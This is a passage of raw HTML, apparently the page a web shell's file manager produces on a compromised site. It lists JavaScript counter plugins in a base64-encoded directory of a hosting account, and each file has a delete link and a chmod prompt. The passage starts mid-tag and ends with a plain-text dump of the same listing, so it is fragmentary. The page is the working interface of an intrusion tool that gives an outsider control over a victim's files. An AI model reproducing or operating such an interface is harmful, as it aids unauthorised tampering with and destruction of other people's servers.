href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&x=anF1ZXJ5Lm1pc3NvZmlzLWNvdW50ZG93bi5qcw==">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=anF1ZXJ5Lm1pc3NvZmlzLWNvdW50ZG93bi5qcw=="/>jquery.missofis-countdown.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=anF1ZXJ5Lm1pc3NvZmlzLWNvdW50ZG93bi5qcw==&c=`+btoa(c):0" value="0644"></td><td>7749</td></tr><tr><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&x=d2F5cG9pbnRzLm1pbi5qcw==">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=d2F5cG9pbnRzLm1pbi5qcw=="/>waypoints.min.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=d2F5cG9pbnRzLm1pbi5qcw==&c=`+btoa(c):0" value="0644"></td><td>8835</td></tr></table>
	.	170
	..	4096
X	count-down.js	376
X	counter.js	1008
X	counters-1.js	47
X	counterup.min.js	3197
X	flipclock.js	55558
X	jquery.missofis-countdown.js	7749
X	waypoints.min.js	8835